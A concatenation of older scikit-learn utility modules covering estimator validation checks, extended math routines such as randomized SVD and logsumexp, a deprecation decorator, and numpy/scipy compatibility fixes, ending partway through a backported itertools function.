def check_is_fitted(estimator, attributes, msg=None, all_or_any=all):
    """Perform is_fitted validation for estimator.

    Checks if the estimator is fitted by verifying the presence of
    "all_or_any" of the passed attributes and raises a NotFittedError with the
    given message.

    Parameters
    ----------
    estimator : estimator instance.
        estimator instance for which the check is performed.

    attributes : attribute name(s) given as string or a list/tuple of strings
        Eg. : ["coef_", "estimator_", ...], "coef_"

    msg : string
        The default error message is, "This %(name)s instance is not fitted
        yet. Call 'fit' with appropriate arguments before using this method."

        For custom messages if "%(name)s" is present in the message string,
        it is substituted for the estimator name.

        Eg. : "Estimator, %(name)s, must be fitted before sparsifying".

    all_or_any : callable, {all, any}, default all
        Specify whether all or any of the given attributes must exist.
    """
    if msg is None:
        msg = ("This %(name)s instance is not fitted yet. Call 'fit' with "
               "appropriate arguments before using this method.")

    if not hasattr(estimator, 'fit'):
        raise TypeError("%s is not an estimator instance." % (estimator))

    if not isinstance(attributes, (list, tuple)):
        attributes = [attributes]

    if not all_or_any([hasattr(estimator, attr) for attr in attributes]):
        # FIXME NotFittedError_ --> NotFittedError in 0.19
        raise _NotFittedError(msg % {'name': type(estimator).__name__})


def check_non_negative(X, whom):
    """
    Check if there is any negative value in an array.

    Parameters
    ----------
    X : array-like or sparse matrix
        Input data.

    whom : string
        Who passed X to this function.
    """
    X = X.data if sp.issparse(X) else X
    if (X < 0).any():
        raise ValueError("Negative values in data passed to %s" % whom)






"""
Extended math utilities.
"""
# Authors: Gael Varoquaux
#          Alexandre Gramfort
#          Alexandre T. Passos
#          Olivier Grisel
#          Lars Buitinck
#          Stefan van der Walt
#          Kyle Kastner
#          Giorgio Patrini
# License: BSD 3 clause

from __future__ import division
from functools import partial
import warnings

import numpy as np
from scipy import linalg
from scipy.sparse import issparse, csr_matrix

from . import check_random_state
from .fixes import np_version
from ._logistic_sigmoid import _log_logistic_sigmoid
from ..externals.six.moves import xrange
from .sparsefuncs_fast import csr_row_norms
from .validation import check_array
from ..exceptions import NonBLASDotWarning


def norm(x):
    """Compute the Euclidean or Frobenius norm of x.

    Returns the Euclidean norm when x is a vector, the Frobenius norm when x
    is a matrix (2-d array). More precise than sqrt(squared_norm(x)).
    """
    x = np.asarray(x)
    nrm2, = linalg.get_blas_funcs(['nrm2'], [x])
    return nrm2(x)


# Newer NumPy has a ravel that needs less copying.
if np_version < (1, 7, 1):
    _ravel = np.ravel
else:
    _ravel = partial(np.ravel, order='K')


def squared_norm(x):
    """Squared Euclidean or Frobenius norm of x.

    Returns the Euclidean norm when x is a vector, the Frobenius norm when x
    is a matrix (2-d array). Faster than norm(x) ** 2.
    """
    x = _ravel(x)
    return np.dot(x, x)


def row_norms(X, squared=False):
    """Row-wise (squared) Euclidean norm of X.

    Equivalent to np.sqrt((X * X).sum(axis=1)), but also supports sparse
    matrices and does not create an X.shape-sized temporary.

    Performs no input validation.
    """
    if issparse(X):
        if not isinstance(X, csr_matrix):
            X = csr_matrix(X)
        norms = csr_row_norms(X)
    else:
        norms = np.einsum('ij,ij->i', X, X)

    if not squared:
        np.sqrt(norms, norms)
    return norms


def fast_logdet(A):
    """Compute log(det(A)) for A symmetric

    Equivalent to : np.log(nl.det(A)) but more robust.
    It returns -Inf if det(A) is non positive or is not defined.
    """
    sign, ld = np.linalg.slogdet(A)
    if not sign > 0:
        return -np.inf
    return ld


def _impose_f_order(X):
    """Helper Function"""
    # important to access flags instead of calling np.isfortran,
    # this catches corner cases.
    if X.flags.c_contiguous:
        return check_array(X.T, copy=False, order='F'), True
    else:
        return check_array(X, copy=False, order='F'), False


def _fast_dot(A, B):
    if B.shape[0] != A.shape[A.ndim - 1]:  # check adopted from '_dotblas.c'
        raise ValueError

    if A.dtype != B.dtype or any(x.dtype not in (np.float32, np.float64)
                                 for x in [A, B]):
        warnings.warn('Falling back to np.dot. '
                      'Data must be of same type of either '
                      '32 or 64 bit float for the BLAS function, gemm, to be '
                      'used for an efficient dot operation. ',
                      NonBLASDotWarning)
        raise ValueError

    if min(A.shape) == 1 or min(B.shape) == 1 or A.ndim != 2 or B.ndim != 2:
        raise ValueError

    # scipy 0.9 compliant API
    dot = linalg.get_blas_funcs(['gemm'], (A, B))[0]
    A, trans_a = _impose_f_order(A)
    B, trans_b = _impose_f_order(B)
    return dot(alpha=1.0, a=A, b=B, trans_a=trans_a, trans_b=trans_b)


def _have_blas_gemm():
    try:
        linalg.get_blas_funcs(['gemm'])
        return True
    except (AttributeError, ValueError):
        warnings.warn('Could not import BLAS, falling back to np.dot')
        return False


# Only use fast_dot for older NumPy; newer ones have tackled the speed issue.
if np_version < (1, 7, 2) and _have_blas_gemm():
    def fast_dot(A, B):
        """Compute fast dot products directly calling BLAS.

        This function calls BLAS directly while warranting Fortran contiguity.
        This helps avoiding extra copies `np.dot` would have created.
        For details see section `Linear Algebra on large Arrays`:
        http://wiki.scipy.org/PerformanceTips

        Parameters
        ----------
        A, B: instance of np.ndarray
            Input arrays. Arrays are supposed to be of the same dtype and to
            have exactly 2 dimensions. Currently only floats are supported.
            In case these requirements aren't met np.dot(A, B) is returned
            instead. To activate the related warning issued in this case
            execute the following lines of code:

            >> import warnings
            >> from sklearn.exceptions import NonBLASDotWarning
            >> warnings.simplefilter('always', NonBLASDotWarning)
        """
        try:
            return _fast_dot(A, B)
        except ValueError:
            # Maltyped or malformed data.
            return np.dot(A, B)
else:
    fast_dot = np.dot


def density(w, **kwargs):
    """Compute density of a sparse vector

    Return a value between 0 and 1
    """
    if hasattr(w, "toarray"):
        d = float(w.nnz) / (w.shape[0] * w.shape[1])
    else:
        d = 0 if w is None else float((w != 0).sum()) / w.size
    return d


def safe_sparse_dot(a, b, dense_output=False):
    """Dot product that handle the sparse matrix case correctly

    Uses BLAS GEMM as replacement for numpy.dot where possible
    to avoid unnecessary copies.
    """
    if issparse(a) or issparse(b):
        ret = a * b
        if dense_output and hasattr(ret, "toarray"):
            ret = ret.toarray()
        return ret
    else:
        return fast_dot(a, b)


def randomized_range_finder(A, size, n_iter,
                            power_iteration_normalizer='auto',
                            random_state=None):
    """Computes an orthonormal matrix whose range approximates the range of A.

    Parameters
    ----------
    A: 2D array
        The input data matrix

    size: integer
        Size of the return array

    n_iter: integer
        Number of power iterations used to stabilize the result

    power_iteration_normalizer: 'auto' (default), 'QR', 'LU', 'none'
        Whether the power iterations are normalized with step-by-step
        QR factorization (the slowest but most accurate), 'none'
        (the fastest but numerically unstable when `n_iter` is large, e.g.
        typically 5 or larger), or 'LU' factorization (numerically stable
        but can lose slightly in accuracy). The 'auto' mode applies no
        normalization if `n_iter`<=2 and switches to LU otherwise.

        .. versionadded:: 0.18

    random_state: RandomState or an int seed (0 by default)
        A random number generator instance

    Returns
    -------
    Q: 2D array
        A (size x size) projection matrix, the range of which
        approximates well the range of the input matrix A.

    Notes
    -----

    Follows Algorithm 4.3 of
    Finding structure with randomness: Stochastic algorithms for constructing
    approximate matrix decompositions
    Halko, et al., 2009 (arXiv:909) http://arxiv.org/pdf/0909.4061

    An implementation of a randomized algorithm for principal component
    analysis
    A. Szlam et al. 2014
    """
    random_state = check_random_state(random_state)

    # Generating normal random vectors with shape: (A.shape[1], size)
    Q = random_state.normal(size=(A.shape[1], size))

    # Deal with "auto" mode
    if power_iteration_normalizer == 'auto':
        if n_iter <= 2:
            power_iteration_normalizer = 'none'
        else:
            power_iteration_normalizer = 'LU'

    # Perform power iterations with Q to further 'imprint' the top
    # singular vectors of A in Q
    for i in range(n_iter):
        if power_iteration_normalizer == 'none':
            Q = safe_sparse_dot(A, Q)
            Q = safe_sparse_dot(A.T, Q)
        elif power_iteration_normalizer == 'LU':
            Q, _ = linalg.lu(safe_sparse_dot(A, Q), permute_l=True)
            Q, _ = linalg.lu(safe_sparse_dot(A.T, Q), permute_l=True)
        elif power_iteration_normalizer == 'QR':
            Q, _ = linalg.qr(safe_sparse_dot(A, Q), mode='economic')
            Q, _ = linalg.qr(safe_sparse_dot(A.T, Q), mode='economic')

    # Sample the range of A using by linear projection of Q
    # Extract an orthonormal basis
    Q, _ = linalg.qr(safe_sparse_dot(A, Q), mode='economic')
    return Q


def randomized_svd(M, n_components, n_oversamples=10, n_iter=None,
                   power_iteration_normalizer='auto', transpose='auto',
                   flip_sign=True, random_state=0):
    """Computes a truncated randomized SVD

    Parameters
    ----------
    M: ndarray or sparse matrix
        Matrix to decompose

    n_components: int
        Number of singular values and vectors to extract.

    n_oversamples: int (default is 10)
        Additional number of random vectors to sample the range of M so as
        to ensure proper conditioning. The total number of random vectors
        used to find the range of M is n_components + n_oversamples. Smaller
        number can improve speed but can negatively impact the quality of
        approximation of singular vectors and singular values.

    n_iter: int (default is 4)
        Number of power iterations. It can be used to deal with very noisy
        problems. When `n_components` is small (< .1 * min(X.shape)) `n_iter`
        is set to 7, unless the user specifies a higher number. This improves
        precision with few components.

        .. versionchanged:: 0.18

    power_iteration_normalizer: 'auto' (default), 'QR', 'LU', 'none'
        Whether the power iterations are normalized with step-by-step
        QR factorization (the slowest but most accurate), 'none'
        (the fastest but numerically unstable when `n_iter` is large, e.g.
        typically 5 or larger), or 'LU' factorization (numerically stable
        but can lose slightly in accuracy). The 'auto' mode applies no
        normalization if `n_iter`<=2 and switches to LU otherwise.

        .. versionadded:: 0.18

    transpose: True, False or 'auto' (default)
        Whether the algorithm should be applied to M.T instead of M. The
        result should approximately be the same. The 'auto' mode will
        trigger the transposition if M.shape[1] > M.shape[0] since this
        implementation of randomized SVD tend to be a little faster in that
        case.

        .. versionchanged:: 0.18

    flip_sign: boolean, (True by default)
        The output of a singular value decomposition is only unique up to a
        permutation of the signs of the singular vectors. If `flip_sign` is
        set to `True`, the sign ambiguity is resolved by making the largest
        loadings for each component in the left singular vectors positive.

    random_state: RandomState or an int seed (0 by default)
        A random number generator instance to make behavior

    Notes
    -----
    This algorithm finds a (usually very good) approximate truncated
    singular value decomposition using randomization to speed up the
    computations. It is particularly fast on large matrices on which
    you wish to extract only a small number of components. In order to
    obtain further speed up, `n_iter` can be set <=2 (at the cost of
    loss of precision).

    References
    ----------
    * Finding structure with randomness: Stochastic algorithms for constructing
      approximate matrix decompositions
      Halko, et al., 2009 http://arxiv.org/abs/arXiv:0909.4061

    * A randomized algorithm for the decomposition of matrices
      Per-Gunnar Martinsson, Vladimir Rokhlin and Mark Tygert

    * An implementation of a randomized algorithm for principal component
      analysis
      A. Szlam et al. 2014
    """
    random_state = check_random_state(random_state)
    n_random = n_components + n_oversamples
    n_samples, n_features = M.shape

    if n_iter is None:
        # Checks if the number of iterations is explicitely specified
        n_iter = 4
        n_iter_specified = False
    else:
        n_iter_specified = True

    if transpose == 'auto':
        transpose = n_samples < n_features
    if transpose:
        # this implementation is a bit faster with smaller shape[1]
        M = M.T

    # Adjust n_iter. 7 was found a good compromise for PCA. See #5299
    if n_components < .1 * min(M.shape) and n_iter < 7:
        if n_iter_specified:
            warnings.warn("The number of power iterations is increased to "
                          "7 to achieve higher precision.")
        n_iter = 7

    Q = randomized_range_finder(M, n_random, n_iter,
                                power_iteration_normalizer, random_state)

    # project M to the (k + p) dimensional space using the basis vectors
    B = safe_sparse_dot(Q.T, M)

    # compute the SVD on the thin matrix: (k + p) wide
    Uhat, s, V = linalg.svd(B, full_matrices=False)
    del B
    U = np.dot(Q, Uhat)

    if flip_sign:
        if not transpose:
            U, V = svd_flip(U, V)
        else:
            # In case of transpose u_based_decision=false
            # to actually flip based on u and not v.
            U, V = svd_flip(U, V, u_based_decision=False)

    if transpose:
        # transpose back the results according to the input convention
        return V[:n_components, :].T, s[:n_components], U[:, :n_components].T
    else:
        return U[:, :n_components], s[:n_components], V[:n_components, :]


def logsumexp(arr, axis=0):
    """Computes the sum of arr assuming arr is in the log domain.

    Returns log(sum(exp(arr))) while minimizing the possibility of
    over/underflow.

    Examples
    --------

    >>> import numpy as np
    >>> from sklearn.utils.extmath import logsumexp
    >>> a = np.arange(10)
    >>> np.log(np.sum(np.exp(a)))
    9.4586297444267107
    >>> logsumexp(a)
    9.4586297444267107
    """
    arr = np.rollaxis(arr, axis)
    # Use the max to normalize, as with the log this is what accumulates
    # the less errors
    vmax = arr.max(axis=0)
    out = np.log(np.sum(np.exp(arr - vmax), axis=0))
    out += vmax
    return out


def weighted_mode(a, w, axis=0):
    """Returns an array of the weighted modal (most common) value in a

    If there is more than one such value, only the first is returned.
    The bin-count for the modal bins is also returned.

    This is an extension of the algorithm in scipy.stats.mode.

    Parameters
    ----------
    a : array_like
        n-dimensional array of which to find mode(s).
    w : array_like
        n-dimensional array of weights for each value
    axis : int, optional
        Axis along which to operate. Default is 0, i.e. the first axis.

    Returns
    -------
    vals : ndarray
        Array of modal values.
    score : ndarray
        Array of weighted counts for each mode.

    Examples
    --------
    >>> from sklearn.utils.extmath import weighted_mode
    >>> x = [4, 1, 4, 2, 4, 2]
    >>> weights = [1, 1, 1, 1, 1, 1]
    >>> weighted_mode(x, weights)
    (array([ 4.]), array([ 3.]))

    The value 4 appears three times: with uniform weights, the result is
    simply the mode of the distribution.

    >>> weights = [1, 3, 0.5, 1.5, 1, 2] # deweight the 4's
    >>> weighted_mode(x, weights)
    (array([ 2.]), array([ 3.5]))

    The value 2 has the highest score: it appears twice with weights of
    1.5 and 2: the sum of these is 3.

    See Also
    --------
    scipy.stats.mode
    """
    if axis is None:
        a = np.ravel(a)
        w = np.ravel(w)
        axis = 0
    else:
        a = np.asarray(a)
        w = np.asarray(w)
        axis = axis

    if a.shape != w.shape:
        w = np.zeros(a.shape, dtype=w.dtype) + w

    scores = np.unique(np.ravel(a))       # get ALL unique values
    testshape = list(a.shape)
    testshape[axis] = 1
    oldmostfreq = np.zeros(testshape)
    oldcounts = np.zeros(testshape)
    for score in scores:
        template = np.zeros(a.shape)
        ind = (a == score)
        template[ind] = w[ind]
        counts = np.expand_dims(np.sum(template, axis), axis)
        mostfrequent = np.where(counts > oldcounts, score, oldmostfreq)
        oldcounts = np.maximum(counts, oldcounts)
        oldmostfreq = mostfrequent
    return mostfrequent, oldcounts


def pinvh(a, cond=None, rcond=None, lower=True):
    """Compute the (Moore-Penrose) pseudo-inverse of a hermetian matrix.

    Calculate a generalized inverse of a symmetric matrix using its
    eigenvalue decomposition and including all 'large' eigenvalues.

    Parameters
    ----------
    a : array, shape (N, N)
        Real symmetric or complex hermetian matrix to be pseudo-inverted

    cond : float or None, default None
        Cutoff for 'small' eigenvalues.
        Singular values smaller than rcond * largest_eigenvalue are considered
        zero.

        If None or -1, suitable machine precision is used.

    rcond : float or None, default None (deprecated)
        Cutoff for 'small' eigenvalues.
        Singular values smaller than rcond * largest_eigenvalue are considered
        zero.

        If None or -1, suitable machine precision is used.

    lower : boolean
        Whether the pertinent array data is taken from the lower or upper
        triangle of a. (Default: lower)

    Returns
    -------
    B : array, shape (N, N)

    Raises
    ------
    LinAlgError
        If eigenvalue does not converge

    Examples
    --------
    >>> import numpy as np
    >>> a = np.random.randn(9, 6)
    >>> a = np.dot(a, a.T)
    >>> B = pinvh(a)
    >>> np.allclose(a, np.dot(a, np.dot(B, a)))
    True
    >>> np.allclose(B, np.dot(B, np.dot(a, B)))
    True

    """
    a = np.asarray_chkfinite(a)
    s, u = linalg.eigh(a, lower=lower)

    if rcond is not None:
        cond = rcond
    if cond in [None, -1]:
        t = u.dtype.char.lower()
        factor = {'f': 1E3, 'd': 1E6}
        cond = factor[t] * np.finfo(t).eps

    # unlike svd case, eigh can lead to negative eigenvalues
    above_cutoff = (abs(s) > cond * np.max(abs(s)))
    psigma_diag = np.zeros_like(s)
    psigma_diag[above_cutoff] = 1.0 / s[above_cutoff]

    return np.dot(u * psigma_diag, np.conjugate(u).T)


def cartesian(arrays, out=None):
    """Generate a cartesian product of input arrays.

    Parameters
    ----------
    arrays : list of array-like
        1-D arrays to form the cartesian product of.
    out : ndarray
        Array to place the cartesian product in.

    Returns
    -------
    out : ndarray
        2-D array of shape (M, len(arrays)) containing cartesian products
        formed of input arrays.

    Examples
    --------
    >>> cartesian(([1, 2, 3], [4, 5], [6, 7]))
    array([[1, 4, 6],
           [1, 4, 7],
           [1, 5, 6],
           [1, 5, 7],
           [2, 4, 6],
           [2, 4, 7],
           [2, 5, 6],
           [2, 5, 7],
           [3, 4, 6],
           [3, 4, 7],
           [3, 5, 6],
           [3, 5, 7]])

    """
    arrays = [np.asarray(x) for x in arrays]
    shape = (len(x) for x in arrays)
    dtype = arrays[0].dtype

    ix = np.indices(shape)
    ix = ix.reshape(len(arrays), -1).T

    if out is None:
        out = np.empty_like(ix, dtype=dtype)

    for n, arr in enumerate(arrays):
        out[:, n] = arrays[n][ix[:, n]]

    return out


def svd_flip(u, v, u_based_decision=True):
    """Sign correction to ensure deterministic output from SVD.

    Adjusts the columns of u and the rows of v such that the loadings in the
    columns in u that are largest in absolute value are always positive.

    Parameters
    ----------
    u, v : ndarray
        u and v are the output of `linalg.svd` or
        `sklearn.utils.extmath.randomized_svd`, with matching inner dimensions
        so one can compute `np.dot(u * s, v)`.

    u_based_decision : boolean, (default=True)
        If True, use the columns of u as the basis for sign flipping.
        Otherwise, use the rows of v. The choice of which variable to base the
        decision on is generally algorithm dependent.


    Returns
    -------
    u_adjusted, v_adjusted : arrays with the same dimensions as the input.

    """
    if u_based_decision:
        # columns of u, rows of v
        max_abs_cols = np.argmax(np.abs(u), axis=0)
        signs = np.sign(u[max_abs_cols, xrange(u.shape[1])])
        u *= signs
        v *= signs[:, np.newaxis]
    else:
        # rows of v, columns of u
        max_abs_rows = np.argmax(np.abs(v), axis=1)
        signs = np.sign(v[xrange(v.shape[0]), max_abs_rows])
        u *= signs
        v *= signs[:, np.newaxis]
    return u, v


def log_logistic(X, out=None):
    """Compute the log of the logistic function, ``log(1 / (1 + e ** -x))``.

    This implementation is numerically stable because it splits positive and
    negative values::

        -log(1 + exp(-x_i))     if x_i > 0
        x_i - log(1 + exp(x_i)) if x_i <= 0

    For the ordinary logistic function, use ``sklearn.utils.fixes.expit``.

    Parameters
    ----------
    X: array-like, shape (M, N) or (M, )
        Argument to the logistic function

    out: array-like, shape: (M, N) or (M, ), optional:
        Preallocated output array.

    Returns
    -------
    out: array, shape (M, N) or (M, )
        Log of the logistic function evaluated at every point in x

    Notes
    -----
    See the blog post describing this implementation:
    http://fa.bianp.net/blog/2013/numerical-optimizers-for-logistic-regression/
    """
    is_1d = X.ndim == 1
    X = np.atleast_2d(X)
    X = check_array(X, dtype=np.float64)

    n_samples, n_features = X.shape

    if out is None:
        out = np.empty_like(X)

    _log_logistic_sigmoid(n_samples, n_features, X, out)

    if is_1d:
        return np.squeeze(out)
    return out


def softmax(X, copy=True):
    """
    Calculate the softmax function.

    The softmax function is calculated by
    np.exp(X) / np.sum(np.exp(X), axis=1)

    This will cause overflow when large values are exponentiated.
    Hence the largest value in each row is subtracted from each data
    point to prevent this.

    Parameters
    ----------
    X: array-like, shape (M, N)
        Argument to the logistic function

    copy: bool, optional
        Copy X or not.

    Returns
    -------
    out: array, shape (M, N)
        Softmax function evaluated at every point in x
    """
    if copy:
        X = np.copy(X)
    max_prob = np.max(X, axis=1).reshape((-1, 1))
    X -= max_prob
    np.exp(X, X)
    sum_prob = np.sum(X, axis=1).reshape((-1, 1))
    X /= sum_prob
    return X


def safe_min(X):
    """Returns the minimum value of a dense or a CSR/CSC matrix.

    Adapated from http://stackoverflow.com/q/13426580

    """
    if issparse(X):
        if len(X.data) == 0:
            return 0
        m = X.data.min()
        return m if X.getnnz() == X.size else min(m, 0)
    else:
        return X.min()


def make_nonnegative(X, min_value=0):
    """Ensure `X.min()` >= `min_value`."""
    min_ = safe_min(X)
    if min_ < min_value:
        if issparse(X):
            raise ValueError("Cannot make the data matrix"
                             " nonnegative because it is sparse."
                             " Adding a value to every entry would"
                             " make it no longer sparse.")
        X = X + (min_value - min_)
    return X


def _incremental_mean_and_var(X, last_mean=.0, last_variance=None,
                              last_sample_count=0):
    """Calculate mean update and a Youngs and Cramer variance update.

    last_mean and last_variance are statistics computed at the last step by the
    function. Both must be initialized to 0.0. In case no scaling is required
    last_variance can be None. The mean is always required and returned because
    necessary for the calculation of the variance. last_n_samples_seen is the
    number of samples encountered until now.

    From the paper "Algorithms for computing the sample variance: analysis and
    recommendations", by Chan, Golub, and LeVeque.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data to use for variance update

    last_mean : array-like, shape: (n_features,)

    last_variance : array-like, shape: (n_features,)

    last_sample_count : int

    Returns
    -------
    updated_mean : array, shape (n_features,)

    updated_variance : array, shape (n_features,)
        If None, only mean is computed

    updated_sample_count : int

    References
    ----------
    T. Chan, G. Golub, R. LeVeque. Algorithms for computing the sample
        variance: recommendations, The American Statistician, Vol. 37, No. 3,
        pp. 242-247

    Also, see the sparse implementation of this in
    `utils.sparsefuncs.incr_mean_variance_axis` and
    `utils.sparsefuncs_fast.incr_mean_variance_axis0`
    """
    # old = stats until now
    # new = the current increment
    # updated = the aggregated stats
    last_sum = last_mean * last_sample_count
    new_sum = X.sum(axis=0)

    new_sample_count = X.shape[0]
    updated_sample_count = last_sample_count + new_sample_count

    updated_mean = (last_sum + new_sum) / updated_sample_count

    if last_variance is None:
        updated_variance = None
    else:
        new_unnormalized_variance = X.var(axis=0) * new_sample_count
        if last_sample_count == 0:  # Avoid division by 0
            updated_unnormalized_variance = new_unnormalized_variance
        else:
            last_over_new_count = last_sample_count / new_sample_count
            last_unnormalized_variance = last_variance * last_sample_count
            updated_unnormalized_variance = (
                last_unnormalized_variance +
                new_unnormalized_variance +
                last_over_new_count / updated_sample_count *
                (last_sum / last_over_new_count - new_sum) ** 2)
        updated_variance = updated_unnormalized_variance / updated_sample_count

    return updated_mean, updated_variance, updated_sample_count


def _deterministic_vector_sign_flip(u):
    """Modify the sign of vectors for reproducibility

    Flips the sign of elements of all the vectors (rows of u) such that
    the absolute maximum element of each vector is positive.

    Parameters
    ----------
    u : ndarray
        Array with vectors as its rows.

    Returns
    -------
    u_flipped : ndarray with same shape as u
        Array with the sign flipped vectors as its rows.
    """
    max_abs_rows = np.argmax(np.abs(u), axis=1)
    signs = np.sign(u[range(u.shape[0]), max_abs_rows])
    u *= signs[:, np.newaxis]
    return u






import warnings

__all__ = ["deprecated", ]


class deprecated(object):
    """Decorator to mark a function or class as deprecated.

    Issue a warning when the function is called/the class is instantiated and
    adds a warning to the docstring.

    The optional extra argument will be appended to the deprecation message
    and the docstring. Note: to use this with the default value for extra, put
    in an empty of parentheses:

    >>> from sklearn.utils import deprecated
    >>> deprecated() # doctest: +ELLIPSIS
    <sklearn.utils.deprecation.deprecated object at ...>

    >>> @deprecated()
    ... def some_function(): pass
    """

    # Adapted from http://wiki.python.org/moin/PythonDecoratorLibrary,
    # but with many changes.

    def __init__(self, extra=''):
        """
        Parameters
        ----------
        extra: string
          to be added to the deprecation messages

        """
        self.extra = extra

    def __call__(self, obj):
        if isinstance(obj, type):
            return self._decorate_class(obj)
        else:
            return self._decorate_fun(obj)

    def _decorate_class(self, cls):
        msg = "Class %s is deprecated" % cls.__name__
        if self.extra:
            msg += "; %s" % self.extra

        # FIXME: we should probably reset __new__ for full generality
        init = cls.__init__

        def wrapped(*args, **kwargs):
            warnings.warn(msg, category=DeprecationWarning)
            return init(*args, **kwargs)
        cls.__init__ = wrapped

        wrapped.__name__ = '__init__'
        wrapped.__doc__ = self._update_doc(init.__doc__)
        wrapped.deprecated_original = init

        return cls

    def _decorate_fun(self, fun):
        """Decorate function fun"""

        msg = "Function %s is deprecated" % fun.__name__
        if self.extra:
            msg += "; %s" % self.extra

        def wrapped(*args, **kwargs):
            warnings.warn(msg, category=DeprecationWarning)
            return fun(*args, **kwargs)

        wrapped.__name__ = fun.__name__
        wrapped.__dict__ = fun.__dict__
        wrapped.__doc__ = self._update_doc(fun.__doc__)

        return wrapped

    def _update_doc(self, olddoc):
        newdoc = "DEPRECATED"
        if self.extra:
            newdoc = "%s: %s" % (newdoc, self.extra)
        if olddoc:
            newdoc = "%s\n\n%s" % (newdoc, olddoc)
        return newdoc






"""Compatibility fixes for older version of python, numpy and scipy

If you add content to this file, please give the version of the package
at which the fixe is no longer needed.
"""
# Authors: Emmanuelle Gouillart <emmanuelle.gouillart@normalesup.org>
#          Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Fabian Pedregosa <fpedregosa@acm.org>
#          Lars Buitinck
#
# License: BSD 3 clause

import warnings
import sys
import functools
import os
import errno

import numpy as np
import scipy.sparse as sp
import scipy

try:
    from inspect import signature
except ImportError:
    from ..externals.funcsigs import signature


def _parse_version(version_string):
    version = []
    for x in version_string.split('.'):
        try:
            version.append(int(x))
        except ValueError:
            # x may be of the form dev-1ea1592
            version.append(x)
    return tuple(version)


np_version = _parse_version(np.__version__)
sp_version = _parse_version(scipy.__version__)


try:
    from scipy.special import expit     # SciPy >= 0.10
    with np.errstate(invalid='ignore', over='ignore'):
        if np.isnan(expit(1000)):       # SciPy < 0.14
            raise ImportError("no stable expit in scipy.special")
except ImportError:
    def expit(x, out=None):
        """Logistic sigmoid function, ``1 / (1 + exp(-x))``.

        See sklearn.utils.extmath.log_logistic for the log of this function.
        """
        if out is None:
            out = np.empty(np.atleast_1d(x).shape, dtype=np.float64)
        out[:] = x

        # 1 / (1 + exp(-x)) = (1 + tanh(x / 2)) / 2
        # This way of computing the logistic is both fast and stable.
        out *= .5
        np.tanh(out, out)
        out += 1
        out *= .5

        return out.reshape(np.shape(x))


# little danse to see if np.copy has an 'order' keyword argument
if 'order' in signature(np.copy).parameters:
    def safe_copy(X):
        # Copy, but keep the order
        return np.copy(X, order='K')
else:
    # Before an 'order' argument was introduced, numpy wouldn't muck with
    # the ordering
    safe_copy = np.copy

try:
    if (not np.allclose(np.divide(.4, 1, casting="unsafe"),
                        np.divide(.4, 1, casting="unsafe", dtype=np.float64))
            or not np.allclose(np.divide(.4, 1), .4)):
        raise TypeError('Divide not working with dtype: '
                        'https://github.com/numpy/numpy/issues/3484')
    divide = np.divide

except TypeError:
    # Compat for old versions of np.divide that do not provide support for
    # the dtype args
    def divide(x1, x2, out=None, dtype=None):
        out_orig = out
        if out is None:
            out = np.asarray(x1, dtype=dtype)
            if out is x1:
                out = x1.copy()
        else:
            if out is not x1:
                out[:] = x1
        if dtype is not None and out.dtype != dtype:
            out = out.astype(dtype)
        out /= x2
        if out_orig is None and np.isscalar(x1):
            out = np.asscalar(out)
        return out


try:
    np.array(5).astype(float, copy=False)
except TypeError:
    # Compat where astype accepted no copy argument
    def astype(array, dtype, copy=True):
        if not copy and array.dtype == dtype:
            return array
        return array.astype(dtype)
else:
    astype = np.ndarray.astype


try:
    with warnings.catch_warnings(record=True):
        # Don't raise the numpy deprecation warnings that appear in
        # 1.9, but avoid Python bug due to simplefilter('ignore')
        warnings.simplefilter('always')
        sp.csr_matrix([1.0, 2.0, 3.0]).max(axis=0)
except (TypeError, AttributeError):
    # in scipy < 14.0, sparse matrix min/max doesn't accept an `axis` argument
    # the following code is taken from the scipy 0.14 codebase

    def _minor_reduce(X, ufunc):
        major_index = np.flatnonzero(np.diff(X.indptr))
        if X.data.size == 0 and major_index.size == 0:
            # Numpy < 1.8.0 don't handle empty arrays in reduceat
            value = np.zeros_like(X.data)
        else:
            value = ufunc.reduceat(X.data, X.indptr[major_index])
        return major_index, value

    def _min_or_max_axis(X, axis, min_or_max):
        N = X.shape[axis]
        if N == 0:
            raise ValueError("zero-size array to reduction operation")
        M = X.shape[1 - axis]
        mat = X.tocsc() if axis == 0 else X.tocsr()
        mat.sum_duplicates()
        major_index, value = _minor_reduce(mat, min_or_max)
        not_full = np.diff(mat.indptr)[major_index] < N
        value[not_full] = min_or_max(value[not_full], 0)
        mask = value != 0
        major_index = np.compress(mask, major_index)
        value = np.compress(mask, value)

        from scipy.sparse import coo_matrix
        if axis == 0:
            res = coo_matrix((value, (np.zeros(len(value)), major_index)),
                             dtype=X.dtype, shape=(1, M))
        else:
            res = coo_matrix((value, (major_index, np.zeros(len(value)))),
                             dtype=X.dtype, shape=(M, 1))
        return res.A.ravel()

    def _sparse_min_or_max(X, axis, min_or_max):
        if axis is None:
            if 0 in X.shape:
                raise ValueError("zero-size array to reduction operation")
            zero = X.dtype.type(0)
            if X.nnz == 0:
                return zero
            m = min_or_max.reduce(X.data.ravel())
            if X.nnz != np.product(X.shape):
                m = min_or_max(zero, m)
            return m
        if axis < 0:
            axis += 2
        if (axis == 0) or (axis == 1):
            return _min_or_max_axis(X, axis, min_or_max)
        else:
            raise ValueError("invalid axis, use 0 for rows, or 1 for columns")

    def sparse_min_max(X, axis):
        return (_sparse_min_or_max(X, axis, np.minimum),
                _sparse_min_or_max(X, axis, np.maximum))

else:
    def sparse_min_max(X, axis):
        return (X.min(axis=axis).toarray().ravel(),
                X.max(axis=axis).toarray().ravel())


try:
    from numpy import argpartition
except ImportError:
    # numpy.argpartition was introduced in v 1.8.0
    def argpartition(a, kth, axis=-1, kind='introselect', order=None):
        return np.argsort(a, axis=axis, order=order)

try:
    from numpy import partition
except ImportError:
    warnings.warn('Using `sort` instead of partition.'
                  'Upgrade numpy to 1.8 for better performace on large number'
                  'of clusters')
    def partition(a, kth, axis=-1, kind='introselect', order=None):
        return np.sort(a, axis=axis, order=order)


try:
    from itertools import combinations_with_replacement
except ImportError:
    # Backport of itertools.combinations_with_replacement for Python 2.6,
    # from Python 3.4 documentation (http://tinyurl.com/comb-w-r), copyright
    # Python Software Foundation (https://docs.python.org/3/license.html)
    def combinations_with_replacement(iterable, r):
        # combinations_with_replacement('ABC', 2) --> AA AB AC BB BC CC
        pool = tuple(iterable)
        n = len(pool)
        if not n and r:
            return
        indices = [0] * r
        yield tuple(pool[i] for i in indices)
        while True:
            for i in reversed(range(r)):
                if indices[i] != n - 1:
                    break
            else:
                return
